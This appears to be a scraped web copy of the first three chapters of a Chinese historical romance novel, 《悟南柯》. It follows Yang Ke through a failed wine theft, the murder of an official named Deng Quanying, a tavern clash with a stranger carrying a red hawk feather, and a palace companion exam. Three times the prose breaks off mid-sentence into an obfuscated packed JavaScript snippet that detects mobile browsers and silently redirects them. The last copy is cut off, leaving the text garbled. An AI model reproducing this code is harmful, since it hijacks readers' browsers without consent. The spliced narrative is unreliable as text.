《悟南柯》 1. 悬案 “咻——” 一声尖啸划破夜空,禁军统领云府的飞檐上,蜷着个身形纤弱的黑衣人。 “来了!”只见半空中飞起一道黑影,杨柯打眼一看,他竟在腰间系了条银丝绣云的腰带,月光一照活像条银环蛇。她拾起石子敲他脑袋,“云昌吉,我们是去偷酒,不是去比武招亲。” 云昌吉嘿嘿一笑:“不打紧,本公子轻功高强,邓老儿见了我也抓不着。” 杨柯白了他一眼,下巴一指,“走!”话毕,二人一齐往东南方向奔去。 三更梆子敲响,两道黑影掠过夜空。杨柯率先落到城南的鼓楼上,左脚刚迈出一步,忽觉后领一紧,“你往哪儿蹿?”云昌吉拎小鸡似的把她拽回来,指着反方向,“那儿是东边。” 杨柯汗颜道:“我的乖乖,你学武多年,怎的连东南西北都分不清?那方向明明是西边。” 云昌吉的蒙面巾动了动:“邓府凶险,为兄的这招叫作障眼法。” 杨柯没理他,掏出怀里的地图:“东边是佛寺……西边……” 云昌吉双手抱胸,在一旁提醒道:“阿柯,你没搞错地方吧?” “邓全英当的是户部左侍郎,这等肥差自然身家不菲,金盘露酒又怎会藏在打眼的地方?”她端详着手里的地图,微皱起眉,“诶?我们明明走的是东南方向,为何反了呢?” 云昌吉质疑道:“邓府端的是个什么去处?你我可别叫人着了道!” 杨柯笑嘻嘻道:“肯定是个风水宝地,不怕贼偷就怕贼惦记,咱们摸黑绕了半宿才摸到这儿,要真让小贼轻易得手,那邓老儿家的金银财宝早被搬空咯!” 终于找到了邓府,放眼望去,百亩之间尽是宅邸,如巨兽蛰伏。九进朱漆仪门次第洞开,每道门前分列鎏金麒麟,口衔夜明珠,在暮色中泛着幽蓝冷光。 “现在信了?”杨柯用气声说,“瞧瞧!邓老头诚不欺我,这大宅子果真气派!” 二人顺着房顶溜了一圈,找到了金盘露酒所在的花厅处。院内花木扶疏,几处灯笼被风吹得摇摇欲坠,晃得本就昏暗的灯光更加晦暗不明。 杨柯低声道:“金盘露酒就在房内。” 云昌吉跃跃欲试:“看来院子里没什么人,这回得来全不费功夫。” “嘭!”屋内忽然传出一声巨大的闷响,接着一声女子的尖叫炸开,“啊——”一道青绿身影从房门里窜了出来。 “怎么回事!”院子里的嬷嬷压着声音冲她喝道,“不怕惊了老爷?” 那女子面色煞白,颤颤巍巍地指着房里:“老爷……老爷……没了……” 屋顶上的杨柯和云昌吉立即警觉,对视一眼,云昌吉想要往前探去,杨柯一把将他扯了回来,“现在冒出去不正巧撞鬼?”云昌吉眼珠子转了转,又慢慢缩了回去。 “报官!报官!”房檐底下爆出一声惊叫,吓得二人浑身一哆嗦,原来方才那嬷嬷被绿衣女子领进了房门,不消多时便面色如土地奔窜出来,连滚带爬地跌坐在院子里。 绿衣还剩一丝力气,一边颠儿颠儿地跑去前院,一边扯起嗓子喊人:“来人呐!来人呐!出大事了!”不消片刻,整个府邸锣声紧打,各屋纷纷亮起了灯火。 “官爷来啦!”伴随着一阵骚乱,一群人影穿过曲折的回廊,来到了花厅前。 冷风穿堂而过,发出呜咽之声。花厅的房门半掩,里头明晃晃的灯光照得人心底发慌,门前跪着的下人们低头啜泣,为首的捕头喝问道:“什么时候发现的?” 缩在房檐底下的嬷嬷哀声回道:“就在方才。” 捕头巡视了一圈,对着跟前杵着的绿衣道:“今日府里可来了什么人?” 那绿衣脖子一紧,脑袋不自然地偏了偏,又匆忙提袖抹泪:“回官爷,今晚上没别人来了,只是……” 捕头跟着拧眉问道:“只是什么?” 绿衣低声低气地嗫嚅道:“屋里有外人的痕迹。” 几个捕快面面相觑,抬起脚步,推门径入。 片刻后,门里走出一个方脸捕快,“是刺杀。”又对着门外站着的几个小捕快命令道:“迅速号令封锁现场。” “是!”一人回身高呼,“关闭府门!不准放人出入!”话音落下,院内又是一片骚乱。 “要是被他们发现,咱们恐怕会被当成凶手。”云昌吉指了指杨柯手臂,“我倒是还好,你身上还有个月牙,人堆里一抓一个准。” “谁让我生下来就带着这玩意儿。” 云昌吉暗叹一声:“今晚这酒喝不成了。” 杨柯敲他脑袋:“凶宅的酒你也敢喝?老天爷是在提醒咱们呢。” “那咱们怎么回去?” 杨柯思索道:“若是原路返回,恐怕有些困难,只能往西城走。” 云昌吉啊了一声:“西城?那儿可都是滁州来的流民。” “流民总比死人好。” 云昌吉急道:“他们会打劫!” 杨柯瞅他一眼:“那些灾民全都饿得腿软,还能跑得比你我快?” 云昌吉犹豫片刻,最后还是答应:“行,听你的!”话音落下,二人闷头猫腰,窜出了邓府,天色也逐渐亮堂起来。 这一年,是昭明二十三年秋。昔年太祖武皇帝宇文元仗剑定山河,第三子靖王宇文弘渊继承大统,亲率六军西征,破柔然十万铁骑于雁门关外,威加海内。靖王即位后改元昭明,敕建凌渊阁以彰功勋,六卿辅政、六军拱卫,合称十二柱国,画像悬于凌渊阁三层,享春秋祭祀。 一时间天下无事,四方太平。可是,人有乐极生悲,月有阴晴圆缺,昭明九年间发生了一起巨大震荡,大夏社稷被置于烈火之上。所幸灾祸平息,但余震的祸根却就此悄悄地埋下了。 京城东侧的杨府内,杨涛正斜倚在灯挂椅上,使劲倒着手里的酒壶,饶是水汽的影子都没见着,“这丫头,又喝个精光。”无奈高声道,“阿柯啊,去把上个月扬州寄来的酒……” “杨柯!你又偷银子了?”杨涛话还没完,妻子程玉槿的怒号便从屋里迸发出来,吓得他赶紧噤了声,目光投向刚刚跨进家门的杨柯。 父女俩四目相对,默契达成:老爹负责把哨,女儿负责原路撤退。 “杨柯回来了?”程玉槿三步并作两步,从房门里飞奔出来,手上的钱袋跟着病怏怏地晃悠。 杨涛赶紧打掩护:“瞧我这记性,阿柯刚出门去黎初那学诗了,现在哪里回得来?” “杨柯,给我站住!”就在杨柯跨出门的最后一步,程玉槿警觉地捕捉到门口露出的衣角,迈开大步就要来抓她。见死期已到,杨柯赶紧撒开了腿往外跑。 程玉槿疾步往外,却被杨涛给生生抱住,愣是动不了一点儿:“玉槿啊,着急出门做什么?上个月从扬州捎回来的好酒,特意留了这么久,就想得了空儿跟你一同尝尝,我看今日时辰合适……” “哦?可是扬州的乔家白?”只见一老者踏步进来,一身洗得泛白的青灰葛布长衫,鹤发松姿,目光如炬,这就是方才杨涛口中的黎初——大名李元,杨柯的师父。 杨柯本以为能成功溜走,刚出门便和师父撞了个头碰头。李元回过神来,直接揪着她的后衣领,把她拎了回去。 “黎初,就等你来了!”杨涛展臂相迎,程玉槿见了李元,自然收敛了怒火。 杨柯跟着师父进去,使劲缩在他背后,低着头,不敢同程玉槿对视。 “巧月,快去拿酒!”程玉槿冲着正在裁剪新叶的侍女挥手。 三人熟稔地在院子里的石凳上坐下,杨涛笑呵呵地冲着李元道:“李兄终归是差了点儿道行,哪里是乔家白,你兄弟我捎来了云液酒,”抬起手掌笼在嘴边悄声道,“这可是三十年前漕运使进献给先皇的贡品。” 李元双眼发光:“还有这等好事?” 程玉槿笑骂道:“你们可别再去翠心湖边上喝了,上回笼翠坊的赵老板因为收留了你们两个醉鬼一晚,敲了我不少银子呢!” 杨涛对着妻子傻呵呵一笑,这老头平生唯一爱好就是风花雪月、醉死方休。前几年凭借绘画天赋被李元赏识,可惜他年事已高,只能在朝中挂个画师的闲职,平日里家中的丝绸生意全都交由程玉槿打理。她二十便嫁给了四十的杨涛,虽年纪不大,但脾气挺大,不仅把丝绸铺子治得条条顺顺,还把家里的一叟一女管得服服帖帖。 程玉槿接过巧月递来的酒壶,一边斟酒一边道:“阿柯,我问你,你到底从哪儿回来?” 杨柯飞瞄了师父一眼,嗫嚅道:“昨日跟师父学诗去了。” 程玉槿语气一挑:“学诗做甚?你不是已经出名了?”她揶揄的便是杨柯因评论镇北大将军章满的诗集而闹出的糗事。 章满驻守西北十七年之久,如今年过花甲,将多年戎马生涯写成了一部《雁关秋笳》。在京城的逸韵诗会上,众多文人墨客自然是要传阅点评一番的,可杨柯压根儿不认得这个章满,只是拿过来瞧了瞧,随口说了句“这诗不见雕琢之意,倒像是一气呵成”,没成想落到有心之人的耳朵里,越传越离谱,最后竟是李元的徒弟杨柯讥讽章大将军吹牛不打草稿。杨柯被这么一折腾,也算名满京城了。 “娘,你别拿我打趣了,那都是胡说八道。” 李元笑道:“阿柯童言无忌,章将军都不会在意,玉槿你又何必在意哪些背后议论之人?” 程玉槿忽然问道:“诶,章老将军果真将兵权给了儿子?” “章擎这几年打了不少胜仗,军中威名足以服众。”师父抬手捋了捋长须,轻叹一声,“杨兄,玉槿,你们可有听说邓员外一案?” 他二人对视了一眼,目光中闪过警觉,随后程玉槿开口道:“邓员 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207046|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外案最近传的沸沸扬扬,大街小巷都知道了。” 杨涛眼色一转:“黎初方才不会是从邓府来的吧?” 师父扬眉一笑:“杨兄果然机敏。昨日魏长明邀我去邓府,我也纳闷,为何要我一个老头子过去。去了才知道,原来事情并非谣传的那么简单。” 程玉槿疑惑道:“邓全英不是被刺杀的么?难道还有其他缘由?” “哪里是被刺那么简单,他都被刨心挖腹了。”杨柯忽然插言,他们三人皆是齐齐注视。 师父笑问道:“阿柯,你这消息从哪里来啊?” “我听朋友说的,他也去过邓府。”杨柯为了不让爹娘和师父小瞧,自然不能告诉他们是胡诌的。 程玉槿并不相信:“你哪来的朋友?家中还有这样的渊源?” 杨柯得意道:“我的朋友里,你没见过的多了去了,说了你也不知道。” “别以为我不知道,你在紫英阁里交的那些朋友,都是些什么家伙?” 杨柯辩道:“他们都是好人,好得很!” 程玉槿的柳叶眉高高翘起:“好人?好人会呆在烟花柳巷?你学了点儿武功,就知道去那些混账地方!” 李元笑道:“寻常的母亲知道女儿习得了武功,多半都因其有了自保之力而感到欣慰,可你却反倒担心。再说,柯儿出去多见识些不同来路的人,对她也有好处不是?” 程玉槿辩驳道:“哪里有什么好处?我看呐,就是老鼠尾巴生疮儿——有脓也不多。她但凡学了些拳脚,就要去外面闲游浪荡、耍钱饮酒,交的朋友难免是些不守本分的破落户!除了云家的昌吉,其余我一概不放心。” 杨涛也出言相劝:“玉瑾啊,柯儿是咱们的女儿,她的朋友呢,也当是翘楚之辈。” 听到父亲的支持,杨柯也高声附和:“爹说得对!烟花之地又如何,她们皆是沦落风尘,若不是被卖,谁愿意做这行当?” “学好不容易,学坏一出溜。”程玉槿没好气地点她,“你小心啊,把前程丢了!” “哪里会?现在就我和师父知道邓员外的事,你们俩都不晓得!” 李元仰头笑道:“阿柯虽然童言无忌,但也说对了一些。” “果真?”三人皆被勾起了好奇心。 李元脸上的笑意渐隐:“邓员外的死因并非刺杀那么简单。”听完这话,杨家三口的脑袋往前凑得更近了。 李元继续道:“奇怪就奇怪在邓员外的死状,其尸身僵如寒铁,喉间血痕细若游丝,初判为利刃穿喉,但仵作遍查二十四处大穴,竟无一处致命伤。最邪门的是,他右手紧攥半截赤羽。”杨涛截问道:“赤羽?可是鹰羽?” “不错,正是鹰羽。此等形类鹰隼,遍寻全城却无此禽。”一时间无人说话,四人皆若有所思。 杨涛问道:“邓全英可是户部新提拔的官员?” 李元缓缓答道:“是,才坐稳了半年,便遭此横祸,难免让人想到他与兵部长久以来的矛盾。” 杨涛又问道:“黎初的意思是,朝中舆论皆倒向兵部所为?” “邓全英行事做派高调张扬,半个月前还同兵部尚书白韬在朝堂上争执起来,声称兵部浪费了太多拨款,引得陛下都龙颜大怒。” 程玉槿道:“户部有个郑仪已经够呛,还加上邓全英这个莽夫,宣王又刚刚接手户部,年纪也才二十出头,不知道能不能压得住底下这帮人。” 李元赞道:“伯喻是易老一手扶持起来的,能力、手段皆不出其右。他十五岁便开始涉足朝政,无论是在工部,还是如今的户部,都不成问题。” 杨柯向来对大人谈论的这些朝纲之事秉持着“左耳朵进、右耳朵出”的态度,可师父这番罕见的高赞勾起了她的兴趣,令她对宣王又是好奇又是羡慕。这个宣王和自己年纪相差也不过三四岁,究竟是何方神圣?生的什么模样?可会跟自己一样,被脸上长出的面疱烦心么? 她正遐想着,却听身旁的程玉槿摇头叹息:“如今刑部与兵部都归羲王协管,这案一出,恐怕朝中势力又要虎视眈眈了。” 杨涛笑道:“你呀,瞎操心什么,阿泰曾经也是黎初的弟子,我瞧他年纪轻轻,才涉政两年,陛下便陆续将兵部、刑部放手交给他去管,这案子即使难办,对他来说也不成问题。” 杨柯闻言望向师父,只见他笑着捋起了胡子,杨柯心里不由得酸唧唧的,看来师父对自己这位师兄也很是满意。 他们三人又继续讨论起来,杨柯心里感觉不耐,自己对这些势不势力的也没什么兴趣,又冒出了溜走的打算。她四顾一圈,发现无人察觉后便蹑手蹑脚地往外走,所幸他们三人聊的起劲,并未发觉异样。迈出了大门,杨柯掏出怀中的银两,放在手里沉甸甸地甚是满足,于是笑吟吟地朝着紫英阁大步前去,脚底仿佛踩在云朵之上,飘飘欲仙。 2. 错认 渭水河畔,紫英阁内,灯火通明。桃花酿的酒香从朱红的窗棂飘了出来,不知道又钩了京城哪个馋虫的腮帮子。 这紫英阁是京城里数一数二的酒楼,楼高四层,下设两层大理石台基,足足有六层楼高,登顶能够远眺整个京城的风景。二楼雕花栏杆上缠着丈余长的酒幌,上书“太白遗风”四个狂草,晚风吹过,簌簌翻卷如醉汉挥袖。 穿过门前的木质栅栏,杨柯走到了紫英阁门前,一个模样清秀的小厮迎了上来,“杨公子,今日还是二楼的阁儿?”小厮身穿紫衫,头戴方顶样头巾,脚下丝鞋净袜。脸看着生,从前没见过,竟然知道她是常客。 杨柯笑道:“是啊,备好了酒没?” “那是自然,”铨儿躬腰伸手,指向暗处的楼梯,“公子这边来。” 二人上了楼,紫檀木阶在脚下发出空鸣,“当心转角。”铨儿抬手挡过壁上的铜鹤熏炉,那鹤喙里幽幽吐出青烟,在廊柱间织成半透明的幕帘。 “公子请进。”铨儿拉开隔扇,露出垂着茜纱的月洞门,杨柯移步至内,“多谢。” 铨儿问道:“还是桃花酿?” “先来一壶开开胃口。” 不出多时,小厮端来了青玉酒壶。杨柯歪坐在美人靠上,指尖沾酒轻点舌尖,喉头不禁发出一声轻颤。 “杨公子,这桃花酿可还满意?”紫英阁老板红娘一袭大红色织锦襦裙,腰间系着金丝香囊,鬓边斜簪半支鎏金桃花钗,腕间一对黄金镯子随着斟酒动作轻响。 “哈哈,红娘待我不薄,尝遍了各种酒,还是紫英阁的桃花酿最叫人难忘!”杨柯冲红姨朗然一笑,伸手搭上她的肩膀。 “二十年的陈酿,还用的我桃花坞里最上等的桃花,这等美酒,等闲人我可不给他喝!” 杨柯随即接道:“既然红娘对我这么好,不如再给小弟斟一壶?” 红娘扬起柳叶吊梢眉:“你呀,还真是蹬鼻子上脸!”说完扭头往外走去。 她赶紧追上去,讨好道:“好红娘,以后我多带几个兄弟来你这,行不行?” 红娘停下步子,伸出手指用力戳上她额头,佯怒道:“杨公子,你好生瞧瞧,我这紫英阁可不是什么三流酒楼,整个京城的男人挤破了头都想进来,你以为我缺几个客人?” 她忙赔笑道:“好姐姐,我这也是一番好心,不过是想讨姐姐欢心,多赏口酒吃。要不是今晚喝了桃花酿,我连话都不会说了!” 红娘斜瞥了她一眼,依旧嗔怪道:“杨公子的意思,是怪我的桃花酿咯?” “姐姐怎么这样想?美酒醉心、美酒醉心。”说完冲她嘿嘿一笑。 红娘倒也没了气,从她手里取走酒壶,转头唤道:“元英,来,给杨公子再斟一壶。” “好嘞!”正与客人倒酒的元英远远答应着,客人摸了把她的腰身,她嗔怒着啐了一口,腰肢一摆,拐去藏春坞里取酒。 “就知道红娘大气,不和小弟计较。”杨柯心中美滋滋,转身欲回座位,蓦地和身侧的客人碰肩相撞,手中的酒壶应声坠落,桃花酿洒了一地,溅到了对方的衣袍上。 “哎呀,对不住对不住!”她连忙道歉,又眼看着美酒被糟践,心肝儿生疼。刚蹲下身去捡拾碎片,却听一个低沉的声音在头顶响起:“无妨,只是这酒,可惜了。” 杨柯一抬头,正对上来人的眼眸,心中莫名一颤,那眸子仿佛湖潭一般深不见底。再一打量,这人身着一袭湛蓝色长袍,面容轮廓分明,额间两道剑眉斜飞入鬓,眉下一对深眸含情微眯。 她虽微醺,但还没醉,见了这俊俏公子不至于目眩神迷,于是调侃道:“公子好眼光,光是闻就能辨出好坏来。”目光向下,突然瞥见男子袖中漏出的一截赤色鹰羽。 杨柯心里一紧,嘴上故作轻松道:“不知阁下近日可有听闻邓员外一案?” 男子眼中闪过一丝惊讶,而后笑道:“公子说笑了,在下一介布衣,不通官家事。” 她紧接着问道:“那您袖中的赤色鹰羽又是从何而来?” 他脸上仍保持微笑:“鹰羽?在下从未见过老鹰,更别提什么鹰羽了。” 杨柯暗自腹诽,越是高明的刺客越会隐藏,但从我眼皮子底下溜过,还想神不知鬼不觉? “那赤色鹰羽正是前几日邓员外尸首上唯一留着的东西,此刻就在你袖中,休想狡辩!” 对方反笑道:“那你打算如何?难不成要抓我去见官?” 她一听,反倒来了兴致:“有何不敢?走!”说着便伸手去拉男子的衣袖。 那男子怎会乖乖听话,一个闪身,退至一旁。 杨柯眉头一挑:“你躲什么?” 他好笑道:“你叫我去见官,我便要跟你去?” “还不是心里有鬼?”杨柯更加确定了心中猜想,抓起酒杯便向他掷去,“看招!” 男子无奈接手应战,引得周围宾客纷纷侧目。 楼下的红娘见势喊道:“杨公子,你这是干什么?” 杨柯大声应道:“红娘,你这酒楼里藏了个刺客!” 红娘神色一变,看了那男子的模样,忙急道:“那是林公子,不是什么刺客呀!” 话音未落,杨柯已经掀桌出手,众人听了她二人的对话也是哗然一片,乱作一团。 杨柯与男子两人你追我逃,霎时间,桌椅翻倒,杯盘狼藉。 “哎呀,我的黄花梨木桌啊!”红娘哀嚎的声音从底下传来。 就在杨柯即将得手之际,男子脚下微微放慢了速度,杨柯迅速伸手抓他,本以为能趁机制住对方,却没想到他放出虚势让她抓了个空,杨柯一时滞住,他便趁机脱身,跳窗飞了出去。 杨柯立马脚跟脚地追上去,两人一路疾行至一道小巷内。 进了巷道,她才回神过来,方才与男子交手,虽然他并未正面袭击,只是在抵挡自己的攻势,但几招之内行云流水,躲避得毫无破绽,可见其武功深藏不露。 若是到了这无人之地,她的运气就没那么好说了…… 念及此,她停住脚步,男子也急刹下来,回身笑望:“姑娘,在下从未见过像你这样执着之人。” 杨柯心中暗叹:自己的女子之身竟被他发现了!她悄悄往后退了几步,留一个逃跑的机会,但嘴上依旧不输:“若你清白无辜,那你跑什么?” “不跑等着被你抓住么?”对面楼檐的灯光照到了男子的脸上,只见他眯起眼睛,提步向她靠近。 “你……你想怎样?”杨柯立马往后退去,却因太急被翘起的砖块绊倒。所幸男子反应极快,抓住她的手臂,一把将她拉了回来,可是这下两人的距离不足三寸。 男子垂眸略了一眼她手臂露出的月牙,抬眸时淡然如常:“若觉得在下是刺客,那姑娘又在哆嗦什么?不是说要将我绳之以法么?” 杨柯尴尬道:“冻……冻的。” “如今好像已经是暮春。” 趁他说话之际,杨柯一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207047|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬脚往他下身使劲一踹,没想到这人闪身一躲,她又踢了个空,全身向前栽去,打了个踉跄,很是狼狈。 来硬的不行,那就上软的。 “瞎!腿抽筋了……”杨柯哇哇大叫,余光里瞅着男子的动静,心里还打着鬼主意,若是让外面的人听见了,说不定尚能搏得一线生机。 男子轻笑道:“抽筋还会踢人?倒是挺会挑时机的。” “瞧公子说的,我哪敢啊。刚才是我不小心,脚底下突然一滑,就……就踢出去了,真是抱歉。” “哦?那我可得小心些了,免得下次再被你给‘不小心’踢着。” 杨柯笑嘻嘻道:“公子武功高强,尽管放心。” “我倒是放心。只不过姑娘你——”男子倾身靠近,杨柯心中一紧:“你……你要干什么?” 他俯首在她耳边道:“接下来的事我得保证不能让别人听见。” 她心中一沉:这刺客终于承认了,可为何偏偏是这个时候!方才在紫英阁里你怎么不说? 杨柯立马苦下了脸:“大侠饶命,大侠饶命!今晚……今晚的事,就当我没看见行吗?”说话间双手抱拳,起了哭腔,“您看我年纪轻轻,还未长大就早早殒命,如何向爹娘交代呀!” 男子一边静静地听,一边捻起她鬓边的发丝,指尖传来龙涎香的温热气息,将她心中的恐惧抚平了许多。杨柯不禁感叹,这年头连刺客都这么温情了吗?难道邓员外死前也是这个待遇? 男子开口道:“小丫头,我可不是什么刺客。若想取你性命,何必大费周章。” 杨柯苦着的脸立马舒展了:“真的?你……你不是刺客啊!” 他眼底的笑意更深:“我们做个交易如何?你帮我个小忙,作为回报,我保你安全无虞。” 杨柯脱口道:“什么交易?”她随即意识到不妥,又补充道,“先说明白,我可不做伤天害理之事。” “放心,我所求之事,既不伤天也不害理,只需要你答应。至于具体是什么,待时机成熟,我自会告诉你。现在你只要相信,我非但不会害你,还会帮你。” 杨柯奇道:“还有这么好的事?” 见她并未立即拒绝,男子从袖中取出一枚玉佩,轻轻放在她的手心。 “这是信物,”他正色道,“带着它,无论何时何地,若你需要帮助,或者想通了愿意与我合作,只需找到逍遥居,出示此玉佩,自然会有人带你来找我。” 杨柯正好奇地端详着手里的玉佩,闻言抬头喜道:“逍遥居?难道你真是江湖中人?” 男子听言大笑:“江湖?这世间不就是江湖?” 杨柯露出迷茫的神色:“可我从未见过江湖啊。”而后又迟疑道,“逍遥居又在哪儿呢?” 他笑吟吟道:“庙后山阶左入丘,棘间石尽见云楼。”杨柯跟着默念起来。 男子说完便转身欲走,却又好像突然想起了什么,停下脚步,侧头看向她,眼中闪过一抹温柔:“夜深了,你一个姑娘家的在外不安全,我送你回去吧。” 杨柯心中一暖,江湖人士果然仗义。她点头跟上他的步伐。两人一前一后,走出了巷子,汇进了大道上的人流中。 杨柯望向他的背影,方才发生的一切恐惧与暧昧,都仿佛做梦一般。又低头看向手中的玉佩,心里窃喜,今晚就是自己走向江湖的开始,明日定要向云昌吉炫耀一番。等到她再抬头时,已经回到了紫英阁,可原先高大的身影却消失不见了。 3. 伴读 京城刚下完一场春雨,天明水净,麦苗青青,看的人心里也觉得轻快。 杨柯跟着师父走在街道上,正要赶往御书院的祭酒纪启明在自家府邸举办的逸韵诗会。 “阿柯,过几日便是入宫伴读的试选了,你准备得如何啊?”自从紫英阁那晚以后,杨柯被程玉槿按在书桌前温书,连门都踏不出半步,整日里背些经史子集,学些钱谷兵革,脑子迷迷瞪瞪,“逍遥居”三个字早已被抹得一干二净。今日好不容易跟着师父出了门,本想借此机会偷得半日空闲,可师父偏又提起,她听到伴读二字脑门便突突地疼。 “师父,皇宫为何要选伴读?是不是皇子公主不爱读书,想找个垫背的跟他们一起熬?也太没天理了。” “你这丫头,伴读哪是这么简单?” “简单?可是读书一点儿都不简单啊。” 李元笑着捋了捋胡须:“皇宫遴选伴读呢,其一是为了皇家子弟砥砺学业,更重要的是巩固朝内官员与皇家的关系,从官宦子弟中物色辅佐下任君主的肱股之臣。而且啊,今年圣上要重启女官制度。” “当女官是不是也能和师父您以前一样,在皇宫里横着走?”李元曾是御书院祭酒,总掌院务,但他年岁已大,十五年前便致仕归里,祭酒之位交由纪启明继任。 “宫里只有陛下能横着走。”李元手中的蒲扇轻轻拍了拍杨柯的头,“女官呢,属于尚书内省,她们负责处理圣上的政务文书、外廷奏事,地位自然也是不差的。” 杨柯听得糊里糊涂:“可我年纪尚小,进宫不适合吧。” “你今年已满十八,当年公孙大人十五岁便入宫,十八已是不小了。” “公孙大人是谁?” “当今户部左侍郎公孙瑶。公孙家乃三代为官,她自十五岁便是皇帝的伴读女使,从御侍令一路做到户部长官,也是如今唯一一个外廷女官。” 杨柯哇道:“她好厉害啊。” “这次宫里新招许多官家小姐当伴读,便是要效仿公孙瑶。既有先例在,朝廷自然要栽培些能写会算的女官来。” 杨柯插科打诨道:“京城那么多官老爷,从他们府里随便拎几个姑娘去便是,还要遴选什么呢?皇帝好好栽培,定能出个小公孙瑶。” 李元点了点她:“别忘了,阿柯,你也是其中一员,故而这次考试要认真对待。” “好好好……”杨柯一面敷衍答应着,一面想着怎么糊弄,李元看清了她的鬼心思,用扇柄去敲她的额头,“为师会检查你的考卷,若有空白,我就告诉你娘,这个月无故消失的钱袋子都去向何处。” 杨柯嘴角一瘪:“师父——” 没过几日,便到了遴选伴读的日子。一大早,杨柯睡眼惺忪地被拎上马车,随众人赶往紫微宫。 不到数里之遥,早望见紫微宫中央的神武殿。神武殿是皇宫正殿,耸立于皇城的最高处,也是最中央。打眼看去,殿宇嵯峨,宫墙高耸,气派难掩。正殿上金碧辉煌,两廊下檐阿峻峭。入内可见三条呈川字纹的青石甬道,四周以水波纹白石铺就。 两扇朱红大门紧闭着,太监们推开殿门,平日里站着高冠博带的金砖之上齐整地列着考桌。殿中央的王座之下,是以纪启明为首的御书院夫子们。他们端坐一排,一动不动,像是门外的石狮子搬进来了似的。 “诸位请坐!”为首的大公公立于丹樨前大声宣布。 大家纷纷撩袍坐下,杨柯扭头瞅向殿内鎏金柱子上的蟠龙,她看得呆了,脸上也跟着蟠龙做起了表情,“不许东张西望!”一声乍喝从侧首的公公那传来,吓得杨柯一激灵。她倒以为说的是别人,遂也四顾看去,结果对上太监灼灼的视线,这才意识到原来是自己,于是学起师父的架子,拧起眉头,挺起胸膛,一脸端肃地阅览起书卷来。 “开始翻卷!”众人又齐刷刷地将卷轴从反面翻过来,“开始吧。” 杨柯浏览了一遍卷轴,无一不是师父曾教导过的儒学之问,五经之辩,唯一让她感兴趣的只有诗书科,今年竟然是自主选题。她兴致大起,挥袖提笔,写下诗名《逍遥行》的最后一划后,满意地勾起嘴角。 治经科的题目乃以“明堂火珠”为要写一首骈文,既然不能不写,那就瞎写吧!于是她搜刮出所有平日里背过的诗文,东挑一句,西拣一句,整篇文章看起来语句通顺,但凡细细一读,全是狗屁不通。 答完搁笔,走出神武殿,她舒臂打了个哈欠,和阳光抱了个满怀。这时她这才体会到家里的软毛狗天天在院子里瘫开肚皮晒太阳的滋味,果真是百倍的舒服。论起享受来,再风雅的名士也总归比不过畜生。 京城东边的紫英阁内,红木雕花的门窗朝外大开,漏出里头的鬓香软语、笑语喧喧。 “杨公子,就等着你来呢!”杨柯一踏进紫英阁,便听见红娘站在老地方朝她招手。她循声望去,原来云昌吉已经提前到了。进了枕流轩,桌上满满当当摆了整整三层菜肴,杨柯惊道:“你小子,一个人吃这么多?” 平日里,云昌吉的爹云镇天倒不像程玉槿似的管得紧,可云昌吉这人偏偏是个武痴,没事就喜欢在外比武,动不动就是拆了这家的房梁,摔了那家的桌子,家里给的银子全都拿去赔钱了。所以喝酒玩耍的份儿瘫到了杨柯头上。她见了这满汉全席,心里冷不丁一哆嗦,手忍不住摸向口袋。 云昌吉咧着嘴得意笑道:“诶嘿嘿,今日用不着你了,昨日宫里武试,我拿了榜眼,我爹一高兴,赏了我十两银子。” 钱袋保住了,杨柯松了口气,嘴上也放肆起来:“瞧瞧,咱们云大公子也发达了,以后进了宫,侍奉起皇上了,可别忘了我!” 她这声嚷嚷落进了周围那些富家公子们的耳朵里。果然,边上几桌纷纷侧目,有的直接打量起云昌吉来,搞得他甚是尴尬,只好端起酒来向各位公子们遥遥敬了几杯。 终于坐下后,云昌吉灌了一口酒,咂吧着嘴道:“快别打趣我了,这段时日我都快憋疯了!” “你们武试又不用背书作文,有什么好闷的?” “我爹把我关在家里,只准练武,不准出门,每天我说的话还没巧儿多!”巧儿是云昌吉养的鹦鹉。 “行啦行啦,你也算熬出头了,”杨柯垂下眼睫,摇头低叹,“往后你要是进了宫,可就没人陪我吃酒了。” 云昌吉搭上她肩头:“有你师父在,你还愁进不去?” “可别!我还想过几年清闲日子呢。” 云昌吉摇头晃脑道:“命里有时终须有。” 杨柯打趣道:“昌吉什么时候也会背诗了?这句别是跟你家巧儿学的。” 云昌吉正要嘴回去,突然门外传来杨柯家里的小厮平儿的声音。 “公子!公子!老爷喊你回去!”杨柯听了这声心头一紧。 “看,你爹来叫你了。”云昌吉拍了拍杨柯的肩膀,“阿柯,咱们宫里见。”杨柯无奈回瞪,云昌吉的脸上尽是幸灾乐祸,但她现在也顾不了这么多了,只能起身下楼。 平儿正被一群妹妹们拦着,卡在底下上不来,急的满脸通红,见了杨柯,像是点燃的炮仗,挥起双手在人群里大声嚷嚷:“公子,你入选啦!你入选啦!” 这一声声听得杨柯真叫被雷劈了。周围一圈人皆顺势起哄,可在她眼里还不如喝倒彩呢。 平儿挣脱了众多美人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 